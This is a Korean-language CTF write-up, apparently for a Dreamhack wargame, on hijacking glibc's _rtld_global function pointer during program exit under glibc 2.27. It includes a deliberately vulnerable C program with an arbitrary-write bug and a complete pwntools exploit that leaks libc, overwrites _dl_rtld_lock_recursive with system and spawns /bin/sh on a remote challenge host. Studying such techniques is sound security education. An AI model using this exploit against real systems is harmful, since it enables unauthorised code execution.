linux library exploit :: _rtld_global
+ Glibc 2.34 이전 버전에서 수행 가능한 공격 기법이므로 Glibc 2.27버전을 내장하는 Ubuntu 18.04 64-bit환경에서 실행됨
기본적으로 종료를 하는 프로그램 내에서 로더를 통하여 다양한 함수들이 호출된다.
이 과정에서 호출되는 함수를 순서대로 알아보자.
__Gl_exit >> _run_exit_handlers >> _dl_final >> _rtld_global
__Gl_exit
main 함수 내에서 리턴 명령어 실행 시, 스택 최상단에 있는 __libc_start_main+231 의 코드가 진행되고, 내부에서 __GL_exit 함수를 호출한다.
=> 0x7ffff7a25240 <__GI_exit>: lea rsi,[rip+0x3a84d1] # 0x7ffff7dcd718 <__exit_funcs>
0x7ffff7a25247 <__GI_exit+7>: sub rsp,0x8
0x7ffff7a2524b <__GI_exit+11>: mov ecx,0x1
0x7ffff7a25250 <__GI_exit+16>: mov edx,0x1
0x7ffff7a25255 <__GI_exit+21>: call 0x7ffff7a24ff0 <__run_exit_handlers>
함수 내부에서 _run_exit_handlers를 호출하는 것을 볼 수 있다.
_run_exit_handlers
exit_function의 구조체 멤버 변수에 따른 함수 포인터를 호출한다. 만약 예제의 return 0 처럼 프로그램 종료 시에는 _dl_fini 함수를 호출한다.
_dl_final
# define __rtld_lock_lock_recursive(NAME) \
GL(dl_rtld_lock_recursive) (&(NAME).mutex)
void
_dl_fini (void)
{
#ifdef SHARED
int do_audit = 0;
again:
#endif
for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
{
/* Protect against concurrent loads and unloads. */
__rtld_lock_lock_recursive (GL(dl_load_lock));
_rtld_lock_lock_recursive 함수는 dl_load_lock 을 인자로 호출되며,
이 함수는 dl_rtld_lock_recursieve 함수 포인터이다. 이 포인터는 _rtld_global 구조체의 멤버 변수이다.
_rtld_global
(/lib/x86-64-linux-gnu/ld-2.27,so 에 위치)
gdb-peda$ p _rtld_global
_dl_load_lock = {
mutex = {
__data = {
__lock = 0x0,
__count = 0x0,
__owner = 0x0,
__nusers = 0x0,
__kind = 0x1,
__spins = 0x0,
__elision = 0x0,
__list = {
__prev = 0x0,
__next = 0x0
}
},
__size = '\000' <repeats 16 times>, "\001", '\000' <repeats 22 times>,
__align = 0x0
}
},
_dl_rtld_lock_recursive = 0x7ffff7dd60e0 <rtld_lock_default_lock_recursive>,
...
}
gdb-peda$ p &_rtld_global._dl_rtld_lock_recursive
$2 = (void (**)(void *)) 0x7ffff7ffdf60 <_rtld_global+3840>
gdb-peda$ vmmap 0x7ffff7ffdf60
Start End Perm Name
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p /lib/x86_64-linux-gnu/ld-2.27.so
해당 구조체에는 _dl_rtld_lock_recursive함수 포인터가 있으며 이는 rtld_lock_default_lock_recursive 함수 주소를 저장하고 있다. 구조체의 함수 포인터가 저장된 영역은 rw권한이 존재! 하기에 overwrite할 수 있다.
프로세스 로드 시에 호출되는 dl_main에 의하여 _rtld_global 속의 dl_rtld_lock_recursive 함수 포인터는 초기화된다.
즉, 구조체 내 함수 포인터는 프로세스가 실행되며 초기화되며, rw영역에 존재한다.
Exploit Tech : _rtld_global
- amd64-64
- FULL RELRO, canary 적용, NX적용, PIE 적용
=> 모든 보호기법이 걸려있다..
- 코드 분석
#include <stdio.h>
#include <stdlib.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
long addr;
long data;
int idx;
init();
// 표준 출력 스트림 stdout의 주소(포인터) 출력
printf("stdout: %p\n", stdout);
while (1) {
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("addr: ");
scanf("%ld", &addr);
printf("data: ");
scanf("%ld", &data);
// addr의 주소에 data를 삽입 => 취약점
*(long long *)addr = data;
break;
default:
return 0;
}
}
return 0;
}
- 시나리오
1. library 및 loader 베이스 주소 계산
stdout의 주소 출력 -> libc의 베이스 주소 확인 가능
"/lib64/ld-linux-x86-64.so.2" > 맵핑된 로더의 베이스 주소 확인 가능
! 라이브러리와 매핑된 주소의 간격은 일정! -> 디버깅을 통해 알아보자.
2. _rtld_global 구조체 계산
로더의 베이스 주소 + rtld_global 구조체의 심볼 offset => _rtld_global의 주소 !
구조체의 주소 -> 멤버 변수 _dl_load_lock, _dl_rtld_lock_recursive 함수 포인터의 주소 !
3. _rtld_global 구조체 조작
( 조작하고자 하는 original 부분 : 프로그램 종료 과정 )
_rtld_global 구조체의 _dl_load_lock을 인자로 _dl_rtld_lock_recursive 함수 포인터 호출!
-> 이 과정에서 인자 _dl_load_lock을 셸 또는 "sh"문자열로 삽입 && 실행 함수 _dl_rtld_lock_recursive를 system함수로 ow
==> shell 획득
Exploit 과정
+
첨부된 파일(ld-2.27.so) 과 실습 환경 (ld-linux-x86-어쩌구) 가 다르면 _rtld_global오프셋도 다르기에
patchelf을 활용하여 우리가 사용하고자하는 로더를 ld.so에 패치하자
vmmap을 통해서 내가 설정하고자하는 로더로 잘 패치된 것을 확인할 수 있다.
1. library 및 loader 베이스 주소 계산
e.symbol [IO_2_1_stdout]을 이용 -> stdout - e.symbol => 라이브러리의 베이스(libc-2.27.so) 주소
디버깅 -> 로더 (ld-2.27.so) 와 라이브러리 베이스의 offset 간극 확인
=> ld_base addr 확인
from pwn import *
p = remote('host3.dreamhack.games',10613)
libc = ELF('./libc-2.27.so')
ld = ELF('./ld-2.27.so')
p. recvuntil(b': ')
# stdout 주소 겟
stdout= int(p.recvuntil(b'\n'),16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
ld_base = libc_base + 0x3f1000
print('libc base', hex(libc_base))
print('ld base', hex(ld_base))
p.interactive()
2. _rtld_global 구조체 계산
ㄴ 2.1 디버깅 심볼 다운로드
디버깅 심볼 : _rtld_global 구조체 이름 뿐 아니라 내부 멤버 변수 정보 포함
-> libc, ld의 Glibc 버전에 맞춰 상응하는 디버깅 심볼이 필요!
ㄴ 2.2 _rtld_global의 멤버 변수 offset 얻기
다운 받은 usr/lib/debug/lib/x86_64-linux-gnu/ld-2.27.so 파일 내에서
_rtld_global 구조체의 멤버 변수 _dl_load_lock과 멤버 변수 _dl_rtld_lock_recursive offset을 gdb를 통해 얻자
ㄴ2.3 주소 계산
ld 주소 + 각각의 offset 더하면 _dl_load_lock , _dl_rtld_lock_recursive의 오프셋 겟 ㅎㅎ
# 위에 이어서 추가
rtld_global = ld_base + ld.symbols['_rtld_global']
# 각각의 offset을 더하여 addr 획득
dl_load_lock = rtld_global + 2312
dl_rtld_lock_recursive = rtld_global + 3840
print('rtld_global..', hex(rtld_global))
print('dl_load_lock..', hex(dl_load_lock))
print('dl_rtld_lock_recursive..', hex(dl_rtld_lock_recursive))
p.interactive()
3. _rtld_global 구조체 조작
#system 주소따옴
system = libc_base + libc.symbols['system']
print('system..', hex(system))
p.sendlineafter(b'> ', b'1')
# 인자부분 -> /bin/sh\x00
p.sendlineafter(b'addr: ', str(dl_load_lock).encode())
p.sendlineafter(b'data: ', str(u64('/bin/sh\x00')).encode())
p.sendlineafter(b'> ', b'1')
# 함수 부분에 system overwrite
p.sendlineafter(b'addr: ', str(dl_rtld_lock_recursive).encode())
p.sendlineafter(b'data: ', str(system).encode())
p.sendlineafter(b'> ', b'2')
p.interactive()
Exploit code
from pwn import *
p = remote('host3.dreamhack.games', 10613)
libc = ELF('./libc-2.27.so')
ld = ELF('./ld-2.27.so')
p.recvuntil(b': ')
stdout = int(p.recvuntil(b'\n'), 16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
ld_base = libc_base + 0x3f1000
print('libc_base..', hex(libc_base))
print('ld_base..', hex(ld_base))
rtld_global = ld_base + ld.symbols['_rtld_global']
# 각각의 offset을 더하여 addr 획득
dl_load_lock = rtld_global + 2312
dl_rtld_lock_recursive = rtld_global + 3840
print('rtld_global..', hex(rtld_global))
print('dl_load_lock..', hex(dl_load_lock))
print('dl_rtld_lock_recursive..', hex(dl_rtld_lock_recursive))
#system 주소따옴
system = libc_base + libc.symbols['system']
print('system..', hex(system))
p.sendlineafter(b'> ', b'1')
# 인자부분 -> /bin/sh\x00
p.sendlineafter(b'addr: ', str(dl_load_lock).encode())
p.sendlineafter(b'data: ', str(u64('/bin/sh\x00')).encode())
p.sendlineafter(b'> ', b'1')
# 함수 부분에 system overwrite
p.sendlineafter(b'addr: ', str(dl_rtld_lock_recursive).encode())
p.sendlineafter(b'data: ', str(system).encode())
p.sendlineafter(b'> ', b'2')
p.interactive()